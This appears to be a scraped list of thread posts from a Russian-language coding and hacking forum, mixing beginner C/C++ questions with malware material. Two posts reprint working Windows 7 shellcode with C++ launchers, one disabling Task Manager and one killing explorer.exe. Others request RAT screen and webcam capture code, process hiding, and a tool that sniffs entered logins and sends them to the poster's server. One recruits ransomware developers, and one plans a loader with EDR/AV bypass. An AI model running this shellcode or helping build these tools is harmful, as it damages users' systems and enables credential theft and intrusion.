  if(RegQueryValueEx(hKey, "InstallRoot", NULL, 0, (LPBYTE)NETPath, &dwSize) == ERROR_SUCCESS)
  {
  	lstrcat(NETPath,"\\v*.*");
  	FileHandle=FindFirstFile(NETPath,&FoundFile);
  	do
  	{
    FoundFile.cFileName[4]=0;
    if(FoundFile.cFileName[1]>NetVersion[1] || FoundFile.cFileName[3]>NetVersion[3])
    {
    	lstrcpy(NetVersion,FoundFile.cFileName);
    }
  	}while(FindNextFile(FileHandle,&FoundFile));
  	FindClose(FileHandle);
  }
  else
  	cout<<"RegQueryValueEx: "<<GetLastError()<<endl;
  RegCloseKey(hKey);
	}
	else
  cout<<"RegCreateKeyEx(): "<<GetLastError()<<endl;
	cout<<"Installed .NET Version: "<<NetVersion<<endl;
}

Есть ли лучший способ получить установлен. NET версии?

код для Remote Screen capture и Webcam capture
ID: 6765d804b4103b69df375b5f
Thread ID: 19364
Created: 2010-05-03T23:06:00+0000
Last Post: 2010-05-14T10:28:01+0000
Author: smartRYX
Replies: 3 Views: 2K

ищу исходный код(C или C++) для функций Remote Screen capture and Webcam capture. У меня есть код, используемый в FBI-RAT, но этот RAT какой то сырой, по моему.

Диспетчер задач....
ID: 6765d804b4103b69df375b60
Thread ID: 19357
Created: 2010-04-30T06:26:28+0000
Last Post: 2010-05-12T06:40:55+0000
Author: drfraid
Replies: 4 Views: 2K

Ув. кодеры.
Помогите пожалуйста, есть сорц.
Прога консольная, как спрятать от диспетчера задач её работу....

section
ID: 6765d804b4103b69df375b61
Thread ID: 19110
Created: 2010-03-03T15:38:08+0000
Last Post: 2010-03-04T12:43:30+0000
Author: corsac
Replies: 4 Views: 2K

какое практическое применение есть attribute(section("test")) для чего код помещают не в .TEXT а в свою секцию?

работа с сетью
ID: 6765d804b4103b69df375b64
Thread ID: 17791
Created: 2009-06-18T20:16:30+0000
Last Post: 2009-06-18T20:16:30+0000
Author: Mr.Di
Replies: 0 Views: 2K

Требуется написать сабжевую длл которая умеет отсылать данны на хост и получать их. в самом худшем случае хотя-бы получать содержимое страниц, отправлять буду как параметры запроса.в сааамом худше не длл даже, а просто приложение, в длл сам попробую переписать

экспорт в файл
ID: 6765d804b4103b69df375b7e
Thread ID: 13526
Created: 2006-11-10T16:06:56+0000
Last Post: 2006-11-10T16:22:33+0000
Author: spqer
Replies: 1 Views: 2K

Народ, объясните пжалусто, как экспортировать в txt результат работы, к примеру такого:

Code:Copy to clipboard

#include <stdio.h>
void main()
{
int i;
for (i=0; i<100000; i++)
{printf("%i\n", i);}
}
работа с dll
ID: 6765d804b4103b69df375b88
Thread ID: 12667
Created: 2006-10-18T12:14:30+0000
Last Post: 2006-10-18T15:58:16+0000
Author: Pokoinik
Replies: 2 Views: 2K

Как из подгружаемой dll получить HINSTANCE процесса запустившего ее?
варианты передать не подходят

Работа с ресурсами приложения...
ID: 6765d804b4103b69df375b8a
Thread ID: 12153
Created: 2006-09-28T18:33:44+0000
Last Post: 2006-10-03T14:40:16+0000
Author: xqwerx
Replies: 3 Views: 2K

Ищу модуль(библиотеку С++) для работы с русерсами приложения - удаление\добавление\копирование ресурсов...
Если кто знает или у кого есть интересная... прошу помочь :cry2:

MS VS .NET 2002 (7.0)
ID: 6765d804b4103b69df375b91
Thread ID: 10763
Created: 2006-08-22T15:41:10+0000
Last Post: 2006-08-22T15:41:10+0000
Author: DeusTirael
Replies: 0 Views: 2K

Собственно интересует ссылка на скачивание MS VS .NET 2002 (в простонародье 7.0)

Программа, раскидывающая файлы по папкам
ID: 6765d804b4103b69df375b97
Thread ID: 10148
Created: 2006-04-02T12:24:00+0000
Last Post: 2006-04-02T12:24:00+0000
Author: WTF!!!
Replies: 0 Views: 2K

нужна маленькая програмка, делающая следущее:

есть папка, в ней файлы (расширение разное, но это не важно). кол-во файлов от 0 до 200-300 (может чуть больше).

суть - подсчитать кол-во файлов, создать в этой папке столько подпапок, сколько нужно, чтобы раскидать все эти файлы РАНДОМНО по кол-во штук, которое я укажу.
рандом обязательный и как можно более разнообразный.

приведу пример: есть 300 файлов, нужно раскидать допустим по 10 файлов/на папку (число я сам указываю) значит нужно 300/10=30 папок (имена папкам - 01, 02, 03 ... 29, 30) и последующее раскидывание файлов по ним. (перемещение, не копирование). ниже привожу схематично, если вдруг описал не понятно.

Срочно надо, очень прошу!

Логические операторы истина и ложь
ID: 6765d804b4103b69df375b9c
Thread ID: 10115
Created: 2006-01-12T16:21:59+0000
Last Post: 2006-01-12T21:00:57+0000
Author: Nightwalker
Replies: 5 Views: 2K

Народ объясните плизз как понимать что логические операторы могут возвращать значения:true(истина) и false (ложь)Как понимать истина и ложь?

Да и напишите плизз понятнее значения логических операторов.

== равенство;истиннобкогда значение левого аргумента совпадает со значением правого.

!= Неравенство;противоположно равенству

=,<= больше или равно,меньше или равно;истинно,если истинной является > или ==(соответственно < или ==)

&& И;истиннобесли аргументы и слева и справа являются истиной

|| ИЛИ;истинно,если или левый или правый аргумент являются истинной

! НЕ;истинно,если его аргумент принимает ложное значение.

P.s Что такое аргументы и операнда?

Убрать из строки символы %
ID: 6765d804b4103b69df375b9d
Thread ID: 10114
Created: 2005-11-06T11:16:42+0000
Last Post: 2006-01-08T17:30:36+0000
Author: WTF!!!
Replies: 3 Views: 2K

О, Спасибо огромное!

Никто не против, если эта тема останется? Просто у меня время от времени возникают вопросы, да и не только у меня одного.)

Как вывести все строки файла?
ID: 6765d804b4103b69df375b9e
Thread ID: 10112
Created: 2006-01-06T22:06:33+0000
Last Post: 2006-01-07T09:33:36+0000
Author: ERma
Replies: 3 Views: 2K

#include <stdio.h>
#define STRLEN 80 // Длина строки

void main( void )
{
FILE *file; // Объявляем указатель на файл
char string[STRLEN]; // Массив на STRLEN символов

// Открываем текстовый файл для записи
// Если такого файла нет, то он будет создан
file = fopen("sample.txt","w");

// Записываем строку в файл
fprintf(file,"Пример использования файлов.");

fclose(file); // Закрываем файл

// Открываем текстовый файл для чтения
file = fopen("sample.txt","r");

/*
Обратите внимание!
Для ввода строки из файла мы используем
функцию fgets(), так как функция
fscanf("%s",string) читает строку до первого пробела!
*/

// Читаем из файла строку (Макс. длина строки - STRLEN символов)
fgets(string,STRLEN,file);

// Закрываем файл
fclose(file);

У меня возникла очередная проблема.
Данная программа выводит только последнюю строку файла. А как сделать чтобы она выводила весь файл?

[mod][Great:] Поставлен минус за заведение повторных тем. Я предупреждал[/mod]

Как выгрузить резидентную функцию?
ID: 6765d804b4103b69df375ba3
Thread ID: 10100
Created: 2005-11-07T14:25:52+0000
Last Post: 2005-12-25T16:15:00+0000
Author: Lamer
Replies: 2 Views: 2K

Да... господа... на злобу дня...

Code:Copy to clipboard

#include <dos.h>
#include <string.h>
#define INTR 0x09
void interrupt ( *oldhandler)(...);
void interrupt handler(...)
{
    // тело функции
}
int main()
{
union REGS in, out;
oldhandler = getvect(INTR);
setvect(INTR, handler);
in.h.ah = 0x31;
in.h.al = 0;
in.x.dx = 1024;
int86(0x21, &in, &out);
return 0;
}

Как вы догадались данная функци становиться резидентной... т.е. висит в памяти... не важно, что она для DOS :)...вы не вот что лучше скажите: а как ее выгрузить ??? :)... Вобщем как зетелеть облась памяти... :)
Буду очень благодарен ;-)

Переход в другую часть кода
ID: 6765d804b4103b69df375ba7
Thread ID: 10104
Created: 2005-11-24T12:53:11+0000
Last Post: 2005-12-18T13:54:53+0000
Author: WTF!!!
Replies: 2 Views: 2K

Там, где на присоединённой картинке показано,как сделать так, что бы от этой строки прога продолжила работать с той, куда ведёт стрелка?

Лишняя закрывающая скобка
ID: 6765d804b4103b69df375ba8
Thread ID: 10103
Created: 2005-11-23T17:59:13+0000
Last Post: 2005-11-24T03:40:46+0000
Author: WTF!!!
Replies: 2 Views: 2K

Спасибо, и опять вопрос:)

Code:Copy to clipboard

#include <iostream>
#include <conio.h>

using namespace std;
int main()
{
    char name[15];
    cout << " Welcome\n Please enter Your name:\n";
    cin >> name;
    cout << "Hello " << name; 
    cout << "\n Decode the number: 442777777999\n And then enter the decoded word \n";
    char pass[6];
    cout << " The word is: ";
    cin >> pass;
    
    if (strcmp(pass, "harry") == 0)
    {
         cout << " \n Nice job, You have made it!\n Greetings for you, " << name << " from Me \n :) ";
         }
         else{
         
             cout << "\n Sorry, wrong word.\n Do You need a clue?";
             int answer;            
             cout << " \n Yes [1], No [0] \n";
             cin >> answer;
             
             if (answer == 0)
             { 
                        cout << " \n Perhaps the next time You will manage to give the right answer\n Bye!";
                        }
                        if (answer == 1)
                        {
                             cout << "\n Try to type that number on Mobile phone";
             }
             
   
      
   
            
        
    
getch();
}

не компилирует, типа последняя скобка не нужна, мистика просто, я поражаюсь :o

Интересное поведение javaws.
ID: 6765d804b4103b69df375b31
Thread ID: 24818
Created: 2013-11-17T11:24:52+0000
Last Post: 2013-11-18T05:34:30+0000
Author: playday
Replies: 2 Views: 1K

При запуске jnlp с удаленного хоста:

Code:Copy to clipboard

> javaws http://example/path/x.jnlp -silent

Предупреждения(нарочно вызывается устаревшая версия java) перестают вести себя так, как им положено: сообщение "Your java version is insecure" уже не отображается(что логично для silent), но предупреждение "Do you want to run this application?" теряет свою основную функцию, то есть оно отображается, но кнопку cancel можно сколько угодно нажимать - все равно апплет будет загружен и выполнен. Проверка проводилась на java 1.7, но на более свежих версиях ситуация может быть такой же.

Код jnlp:

Code:Copy to clipboard

<?xml version="1.0" encoding="utf-8"?>
<jnlp spec="1.0" codebase="http://example/path" href="x.jnlp">
    <information>
        <title>Block me :)</title>
        <vendor>Vendor Name</vendor>
        <description>App Description</description>
        <offline-allowed />
    </information>
    <resources>
        <j2se version="1.6+" href="http://java.sun.com/products/autodl/j2se" />
        <jar href="SelfSigned.jar" main="true" />
    </resources>
    <applet-desc name="SelfSigned" main-class="BoomClass" width="500" height="500">
    </applet-desc>
    <update check="background" />
</jnlp>

Судя по всему, параметр -silent никак не передать при удаленном исполнении, поэтому на секьюрити бипас здесь надеяться не приходится. У самого с июня руки не дойдут до полной проверки, поэтому выкладываю здесь. Может кто-то из форумчан проводил исследования в этом направлении и тоже поделится подробностями изучения запуска через silent.

Windows7 Disable Task Manager
ID: 6765d804b4103b69df375b3a
Thread ID: 24190
Created: 2013-05-16T06:22:53+0000
Last Post: 2013-05-16T06:22:53+0000
Author: DarckSol
Replies: 0 Views: 1K

Code:Copy to clipboard

/*------------------------------------------------
==[ By Ayrbyte ]======[ Geng Simbe @ TKJ 1 Club ]========================================
Greets To : Adit Groundd SAndd Notte, Agos Wahyo, Aguenkk Rebel Black Sweet,
Ahmad Bagoes, Alvin Putra Marcdyto, Arieb Shezhaniea, Aviep Autiez, Chusnie Mubarok,
Cumigh Gokil On Üç, Dapat Di Hubungi, De Ayiph Ever, Dwi J Andreansyah, Jack PYing,
Khuluq Gomez, Ola Amor Arpaz, Pewe, Q-blueshiierezpector Screamoalltheway Aparatkeparat, 
Raden Mas Koko, Rivan Ardiansyah, Rizqi Bogez, Rony C'Penghianat X Ciinta, Sukrex Dreizehn, 
Syafi'i, and all Tkj 1 Club Family... ^_^
=========================================================================================
--------------------------------------------------
    title : Windows7 Disable Task Manager Shellcode - 326 chars
    Author: Ayrbyte
    Category: local
    Tested on: Windows7 Ultimate
    Code : c++
    Fb : fb.me/Ayrbyte 
------------------------------------------------ */
#include <iostream>
using namespace std;
 
char code[] = "\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11\x11\x11\xB9\x14"
"\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB9\x73\x31\x11\x11\x2B\xC8\x03\xE9\x8B\xD4\xB9\x10\x21\x11\x11\x2B\xC8\x2B\xD1\xB9"
"\x63\x6D\x64\x20\x89\x0A\xB9\x2F\x6B\x20\x52\x89\x4A\x04\xB9\x45\x47\x20\x61\x89\x4A\x08\xB9\x64\x64\x20\x48\x89\x4A\x0C\xB9\x4B"
"\x43\x55\x5C\x89\x4A\x10\xB9\x53\x6F\x66\x74\x89\x4A\x14\xB9\x77\x61\x72\x65\x89\x4A\x18\xB9\x5C\x4D\x69\x63\x89\x4A\x1C\xB9\x72"
"\x6F\x73\x6F\x89\x4A\x20\xB9\x66\x74\x5C\x57\x89\x4A\x24\xB9\x69\x6E\x64\x6F\x89\x4A\x28\xB9\x77\x73\x5C\x43\x89\x4A\x2C\xB9\x75"
"\x72\x72\x65\x89\x4A\x30\xB9\x6E\x74\x56\x65\x89\x4A\x34\xB9\x72\x73\x69\x6F\x89\x4A\x38\xB9\x6E\x5C\x50\x6F\x89\x4A\x3C\xB9\x6C"
"\x69\x63\x69\x89\x4A\x40\xB9\x65\x73\x5C\x53\x89\x4A\x44\xB9\x79\x73\x74\x65\x89\x4A\x48\xB9\x6D\x20\x2F\x76\x89\x4A\x4C\xB9\x20"
"\x44\x69\x73\x89\x4A\x50\xB9\x61\x62\x6C\x65\x89\x4A\x54\xB9\x54\x61\x73\x6B\x89\x4A\x58\xB9\x4D\x67\x72\x20\x89\x4A\x5C\xB9\x2F"
"\x74\x20\x52\x89\x4A\x60\xB9\x45\x47\x5F\x44\x89\x4A\x64\xB9\x57\x4F\x52\x44\x89\x4A\x68\xB9\x20\x2F\x64\x20\x89\x4A\x6C\xB9\x31"
"\x20\x2F\x66\x89\x4A\x70\xB9\x20\x26\x20\x74\x89\x4A\x74\xB9\x61\x73\x6B\x6B\x89\x4A\x78\xB9\x69\x6C\x6C\x20\x89\x4A\x7C\xB9\x2F"
"\x69\x6D\x20\x89\x8A\x80\x00\x00\x00\xB9\x63\x6D\x64\x2E\x89\x8A\x84\x00\x00\x00\xB9\x65\x78\x65\x20\x89\x8A\x88\x00\x00\x00\xB9"
"\x40\x77\x11\x11\x2B\xC8\x89\x8A\x8C\x00\x00\x00\x33\xDB\x8B\xF4\xB9\x65\x11\x11\x11\x2B\xC8\x8D\x4E\xAC\x51\x8D\x4E\xBC\x51\x53"
"\x53\xB9\x31\x13\x11\x11\x2B\xC8\x51\x53\x53\x53\x52\x53\xFF\xD5\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x33\xDB"
"\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11\x11\x11\xB9\x13\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB8\x11\x11\x11\x11"
"\xB9\x37\x26\x14\x11\x2B\xC8\x03\xE9\xFF\xD5";
 
int main(){printf("Shellcode Length is : %u\n",strlen(code));system("PAUSE");
    int (*_13)() = (int(*)())code; _13(); }
/*=================[ Geng Simbe @ TKJ 1 Club ]======*/
 
# A29BECCC052911F9   1337day.com [2013-05-16]   8A98950EB9557C6C #

На работоспособность не тестировал, прогоните кто нить интересу ради...)

Проблема при компиле...
ID: 6765d804b4103b69df375b3c
Thread ID: 23960
Created: 2013-03-02T14:32:13+0000
Last Post: 2013-03-03T19:41:55+0000
Author: Dark Koder
Replies: 6 Views: 1K

Всем привет!
Вот сама суть проблемы:приложение вываливается после раскриптовки...
Вот почему:

Spoiler: 3 у вас 43

Code:Copy to clipboard

1>  Создание кода завершено
1>_wcrt.lib(_initterm.obj) : warning LNK4254: выполнено слияние секции ".CRT" (40000040) с ".data" (C0000040) с разными атрибутами
1>_wcrt.lib(_initterm.obj) : warning LNK4254: выполнено слияние секции ".CRT" (40000040) с ".data" (C0000040) с разными атрибутами

Ком.строка С++:

Spoiler: 3 у вас 43

Code:Copy to clipboard

/nologo /W3 /WX- /O1 /Oy- /GL /Gm- /EHsc /MT /GS- /Gy /fp:precise /Zc:wchar_t- /Zc:forScope- /Fp"Release\project.pch" /Fa"Release\" /Fo"Release\" /Fd"Release\vc100.pdb" /Gd /analyze- /errorReport:queue

Ком.строка компоновщика:

Spoiler: 3 у вас 43

Code:Copy to clipboard

/OUT:"путь...\project\Release\project.exe" /NOLOGO /MANIFEST:NO /ManifestFile:"Release\project.exe.intermediate.manifest" /ALLOWISOLATION /MANIFESTUAC:"level='asInvoker' uiAccess='false'" /PDB:"путь...\project\Release\project.pdb" /SUBSYSTEM:WINDOWS /OPT:NOREF /OPT:NOICF /PGD:"путь...\project\Release\project.pgd" /LTCG:PGInstrument /TLBID:1 /DYNAMICBASE:NO /NXCOMPAT /MACHINE:X86 /ERRORREPORT:QUEUE

Пробовал изменить таким образом проблему: в main.cpp добавил

Code:Copy to clipboard

#pragma comment(linker, "/merge:.CRT=.data")
#pragma comment(linker, "/SECTION:.data,DEKPRSW")

но это привело еще к большему:

Spoiler: 3 у вас 43

Code:Copy to clipboard

1>main.obj : warning LNK4254: выполнено слияние секции ".CRT" (40000040) с ".data" (C0000040) с разными атрибутами
1>_wcrt.lib(_initterm.obj) : warning LNK4254: выполнено слияние секции ".CRT" (40000040) с ".data" (C0000040) с разными атрибутами
1>_wcrt.lib(_initterm.obj) : warning LNK4254: выполнено слияние секции ".CRT" (40000040) с ".data" (C0000040) с разными атрибутами

И вот из-за этой хрени приложение при декрипте и запуске вываливается. Точно эта же хрень была когда тестировали билд на Win7 и WIn Xp...
Можете мне сказать как это исправить? гугл и яша не знают(((

Android 14 Не работает Живучесть (Foreground)
ID: 6765d804b4103b69df37568b
Thread ID: 122739
Created: 2024-09-15T10:18:36+0000
Last Post: 2024-12-13T11:19:57+0000
Author: XDRevil
Replies: 13 Views: 1K

Вечером я заметил, что на моем Xiaomi Poco X5 Pro с Android 14 не работает фоновый режим. Проверил журнал логов (Log Cat), ошибок не обнаружено.

Есть ли темы, связанные с фоновым режимом? (Которые исправили)

Дизайн
ID: 6765d804b4103b69df375ad6
Thread ID: 32423
Created: 2019-10-11T17:24:54+0000
Last Post: 2019-10-11T17:24:54+0000
Author: Dendy
Replies: 0 Views: 1K

есть что-то готовое в шарпе, чтобы такой диз получить ?
прога простая, просто нужен вид.

Помощь с заданием С языка
ID: 6765d804b4103b69df375ad8
Thread ID: 32333
Created: 2019-10-07T20:44:03+0000
Last Post: 2019-10-09T06:56:46+0000
Author: PotatoRain
Replies: 3 Views: 1K


Мой мозг не может понять как это написать.
... - Это как шаг, +3.
От 3 до 99

Учу С язык только вторую неделю, вот предложили задание с орешком так сказать а придумать не получается.

C# узнать мутекс стороннего exe
ID: 6765d804b4103b69df375adc
Thread ID: 32134
Created: 2019-09-30T05:05:52+0000
Last Post: 2019-10-01T09:02:37+0000
Author: ViCode
Replies: 7 Views: 1K

Есть возможность средствами C# узнать мутекс другого exe?

Пасаны пожалейте дурака расскажите как отвязать costexpr от msvcrt. очень надо! =)
ID: 6765d804b4103b69df375adf
Thread ID: 32129
Created: 2019-09-29T17:45:08+0000
Last Post: 2019-09-29T18:55:39+0000
Author: Whisper
Replies: 3 Views: 1K

подробности здесь - https://xss.is/threads/31670/post-183901

Многопоточный сниффер браузера | Отправка запроса через браузер | Отправка на хостинг
ID: 6765d804b4103b69df375ae1
Thread ID: 32012
Created: 2019-09-25T00:56:40+0000
Last Post: 2019-09-25T00:56:40+0000
Author: Sativa
Replies: 0 Views: 1K

Всех приветствую. Мне нужно сделать софт, который будет делать все в следующей последовательности:
1.Ввод данных на сайте(логин и пароль, например) в эмулированном браузере(так же, нужно использовать разные юзер-агенты и прокси во избежания бана).
2.Снифф отправленного запроса(прием отправленных пакетов и парс из этого всего определенные значения(headers, например)).
3.Отправка всего, что было (спаршено?) скопировано - на мой php скрипт, по типу link.com/skr.php.

Вопрос в том, как это реализовать?
Какие яп нужны, и что нужно искать в гугле? Заранее всем спасибо за любую помощь. UPD. PHP скрипт для приема отправленного у меня есть(он просто создает txt с этими данными на ftp). Так же, софт который выполняет все эти операции у меня тоже есть, но исходов, увы, нету.

Ищу разработчика на с ++ и php
ID: 6765d804b4103b69df375ae2
Thread ID: 31248
Created: 2019-08-22T03:24:28+0000
Last Post: 2019-09-24T17:19:36+0000
Author: ceancorp
Replies: 2 Views: 1K

запросил эту услугу для частного проекта

Searching Partner
ID: 6765d804b4103b69df375aef
Thread ID: 31119
Created: 2019-08-16T14:01:15+0000
Last Post: 2019-08-16T14:01:15+0000
Author: mymalware
Replies: 0 Views: 1K

Hello,

Are there programmers who focus on malware, ransomware, etc.? We need to find partners who are professional and have experience in Cryptography and C#. We also need to find some Javascript, SQL, and PHP developers who have experience in coding admin panels and landing pages.

pidgin: mymalware@thesecure.biz (OTR)

Windows7 Force Terminate Explorer
ID: 6765d804b4103b69df375b39
Thread ID: 24191
Created: 2013-05-16T06:23:43+0000
Last Post: 2013-05-16T06:23:43+0000
Author: DarckSol
Replies: 0 Views: 1K

/*------------------------------------------------
==[ By Ayrbyte ]======[ Geng Simbe @ TKJ 1 Club ]========================================
Greets To : Adit Groundd SAndd Notte, Agos Wahyo, Aguenkk Rebel Black Sweet,
Ahmad Bagoes, Alvin Putra Marcdyto, Arieb Shezhaniea, Aviep Autiez, Chusnie Mubarok,
Cumigh Gokil On Üç, Dapat Di Hubungi, De Ayiph Ever, Dwi J Andreansyah, Jack PYing,
Khuluq Gomez, Ola Amor Arpaz, Pewe, Q-blueshiierezpector Screamoalltheway Aparatkeparat,
Raden Mas Koko, Rivan Ardiansyah, Rizqi Bogez, Rony C'Penghianat X Ciinta, Sukrex Dreizehn,
Syafi'i, and all Tkj 1 Club Family... ^_^

=========================================================================================
--------------------------------------------------
title : win32/7 Ultimate, Force Terminate Explorer Shellcode (255 chars)
Author: Ayrbyte
Category: local
Tested on: Windows7 Ultimate
Code : c++
Fb : fb.me/Ayrbyte
--------------------------------------------------
00401000 > $ 33F6 XOR ESI,ESI
00401002 . 33C9 XOR ECX,ECX
00401004 . 64:8B71 30 MOV ESI,DWORD PTR FS:[ECX+30]
00401008 . 8B76 0C MOV ESI,DWORD PTR DS:[ESI+C]
0040100B . 8B76 1C MOV ESI,DWORD PTR DS:[ESI+1C]
0040100E . 33DB XOR EBX,EBX
00401010 > 43 INC EBX
00401011 . 8B6E 08 MOV EBP,DWORD PTR DS:[ESI+8]
00401014 . 8B7E 20 MOV EDI,DWORD PTR DS:[ESI+20]
00401017 . 8B36 MOV ESI,DWORD PTR DS:[ESI]
00401019 . B8 11111111 MOV EAX,11111111
0040101E . B9 14111111 MOV ECX,11111114
00401023 . 2BC8 SUB ECX,EAX
00401025 . 8BD1 MOV EDX,ECX
00401027 . 3BDA CMP EBX,EDX
00401029 .^75 E5 JNZ SHORT messageb.00401010
0040102B . B9 73311111 MOV ECX,11113173
00401030 . 2BC8 SUB ECX,EAX
00401032 . 03E9 ADD EBP,ECX
00401034 . 8BD4 MOV EDX,ESP
00401036 . B9 10211111 MOV ECX,11112110
0040103B . 2BC8 SUB ECX,EAX
0040103D . 2BD1 SUB EDX,ECX
0040103F . B9 636D6420 MOV ECX,20646D63
00401044 . 890A MOV DWORD PTR DS:[EDX],ECX
00401046 . B9 2F6B2074 MOV ECX,74206B2F
0040104B . 894A 04 MOV DWORD PTR DS:[EDX+4],ECX
0040104E . B9 61736B6B MOV ECX,6B6B7361
00401053 . 894A 08 MOV DWORD PTR DS:[EDX+8],ECX
00401056 . B9 696C6C20 MOV ECX,206C6C69
0040105B . 894A 0C MOV DWORD PTR DS:[EDX+C],ECX
0040105E . B9 2F696D20 MOV ECX,206D692F
00401063 . 894A 10 MOV DWORD PTR DS:[EDX+10],ECX
00401066 . B9 6578706C MOV ECX,6C707865
0040106B . 894A 14 MOV DWORD PTR DS:[EDX+14],ECX
0040106E . B9 6F726572 MOV ECX,7265726F
00401073 . 894A 18 MOV DWORD PTR DS:[EDX+18],ECX
00401076 . B9 2E657865 MOV ECX,6578652E
0040107B . 894A 1C MOV DWORD PTR DS:[EDX+1C],ECX
0040107E . B9 202F696D MOV ECX,6D692F20
00401083 . 894A 20 MOV DWORD PTR DS:[EDX+20],ECX
00401086 . B9 20636D64 MOV ECX,646D6320
0040108B . 894A 24 MOV DWORD PTR DS:[EDX+24],ECX
0040108E . B9 2E657865 MOV ECX,6578652E
00401093 . 894A 28 MOV DWORD PTR DS:[EDX+28],ECX
00401096 . B9 31407711 MOV ECX,11774031
0040109B . 2BC8 SUB ECX,EAX
0040109D . 894A 2C MOV DWORD PTR DS:[EDX+2C],ECX
004010A0 . 33DB XOR EBX,EBX
004010A2 . 8BF4 MOV ESI,ESP
004010A4 . B9 65111111 MOV ECX,11111165
004010A9 . 2BC8 SUB ECX,EAX
004010AB . 8D4E AC LEA ECX,DWORD PTR DS:[ESI-54]
004010AE . 51 PUSH ECX
004010AF . 8D4E BC LEA ECX,DWORD PTR DS:[ESI-44]
004010B2 . 51 PUSH ECX
004010B3 . 53 PUSH EBX
004010B4 . 53 PUSH EBX
004010B5 . B9 31131111 MOV ECX,11111331
004010BA . 2BC8 SUB ECX,EAX
004010BC . 51 PUSH ECX
004010BD . 53 PUSH EBX
004010BE . 53 PUSH EBX
004010BF . 53 PUSH EBX
004010C0 . 52 PUSH EDX
004010C1 . 53 PUSH EBX
004010C2 . FFD5 CALL EBP
004010C4 . 33F6 XOR ESI,ESI
004010C6 . 33C9 XOR ECX,ECX
004010C8 . 64:8B71 30 MOV ESI,DWORD PTR FS:[ECX+30]
004010CC . 8B76 0C MOV ESI,DWORD PTR DS:[ESI+C]
004010CF . 8B76 1C MOV ESI,DWORD PTR DS:[ESI+1C]
004010D2 . 33DB XOR EBX,EBX
004010D4 > 43 INC EBX
004010D5 . 8B6E 08 MOV EBP,DWORD PTR DS:[ESI+8]
004010D8 . 8B7E 20 MOV EDI,DWORD PTR DS:[ESI+20]
004010DB . 8B36 MOV ESI,DWORD PTR DS:[ESI]
004010DD . B8 11111111 MOV EAX,11111111
004010E2 . B9 13111111 MOV ECX,11111113
004010E7 . 2BC8 SUB ECX,EAX
004010E9 . 8BD1 MOV EDX,ECX
004010EB . 3BDA CMP EBX,EDX
004010ED .^75 E5 JNZ SHORT messageb.004010D4
004010EF . B8 11111111 MOV EAX,11111111
004010F4 . B9 37261411 MOV ECX,11142637
004010F9 . 2BC8 SUB ECX,EAX
004010FB . 03E9 ADD EBP,ECX
004010FD . FFD5 CALL EBP
------------------------------------------------ */
#include
using namespace std;

char code[] = "\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x33"
"\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11\x11\x11\xB9\x14"
"\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB9\x73\x31\x11"
"\x11\x2B\xC8\x03\xE9\x8B\xD4\xB9\x10\x21\x11\x11\x2B\xC8\x2B\xD1\xB9"
"\x63\x6D\x64\x20\x89\x0A\xB9\x2F\x6B\x20\x74\x89\x4A\x04\xB9"
"\x61\x73\x6B\x6B\x89\x4A\x08\xB9\x69\x6C\x6C\x20\x89\x4A\x0C\xB9\x2F"
"\x69\x6D\x20\x89\x4A\x10\xB9\x65\x78\x70\x6C\x89\x4A\x14\xB9"
"\x6F\x72\x65\x72\x89\x4A\x18\xB9\x2E\x65\x78\x65\x89\x4A\x1C\xB9\x20"
"\x2F\x69\x6D\x89\x4A\x20\xB9\x20\x63\x6D\x64\x89\x4A\x24\xB9"
"\x2E\x65\x78\x65\x89\x4A\x28\xB9\x31\x40\x77\x11\x2B\xC8\x89\x4A\x2C"
"\x33\xDB\x8B\xF4\xB9\x65\x11\x11\x11\x2B\xC8\x8D\x4E\xAC\x51"
"\x8D\x4E\xBC\x51\x53\x53\xB9\x31\x13\x11\x11\x2B\xC8\x51\x53\x53\x53"
"\x52\x53\xFF\xD5\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C"
"\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11"
"\x11\x11\xB9\x13\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5"
"\xB8\x11\x11\x11\x11\xB9\x37\x26\x14\x11\x2B\xC8\x03\xE9\xFF\xD5";

int main(){printf("Shellcode Length is : %u\n",strlen(code));system("PAUSE");
int (_13)() = (int()())code; _13(); }
/=================[ Geng Simbe @ TKJ 1 Club ]======/

53ED767E8285588D 1337day.com [2013-05-16] 0F8108AD843BF22B

Click to expand...

резидентный лоадер
ID: 6765d804b4103b69df37568c
Thread ID: 128610
Created: 2024-12-09T23:50:38+0000
Last Post: 2024-12-12T21:48:26+0000
Author: kto
Replies: 16 Views: 1K

всем привет, поставил себе цель изучать следущие технологии для создания собственного проекта.
Бинарь:
• C++20
• Boost.Asio + OpenSSL/libsodium
• Reflective DLL Injection (Windows) / ELF Injection (Linux)
• LLVM Custom Passes (обфускация и виртуализация)
- структура PE файла
- winapi
- shellcode injection
- RunPE
- LoadPE
- direct and indirect syscall
- edr av bypass
- VEH SEH

Клиент:
• Qt (C++/QML)

Сервер (веб-панель):
• Go + Gin (backend)
• PostgreSQL (база данных)
• Redis (кэширование)
• TLS + AES-256/RSA (безопасность соединений)

Инфраструктура:
• Docker (контейнеризация)

очень хотелось бы услышать уместную критику и советы по технологиями ( что добавить/изменить/убрать)

Questions about ransomware.
ID: 6765d804b4103b69df375698
Thread ID: 124954
Created: 2024-10-16T22:35:27+0000
Last Post: 2024-12-01T02:48:27+0000
Author: Lost001
Replies: 9 Views: 1K

Do ransomwares typically use a web app control panel, GUI, or CLI for ease of use?

что такого написать hello world?%$
ID: 6765d804b4103b69df37569c
Thread ID: 127046
Created: 2024-11-16T20:47:46+0000
Last Post: 2024-11-26T15:59:50+0000
Author: wopdecrypto
Replies: 11 Views: 1K

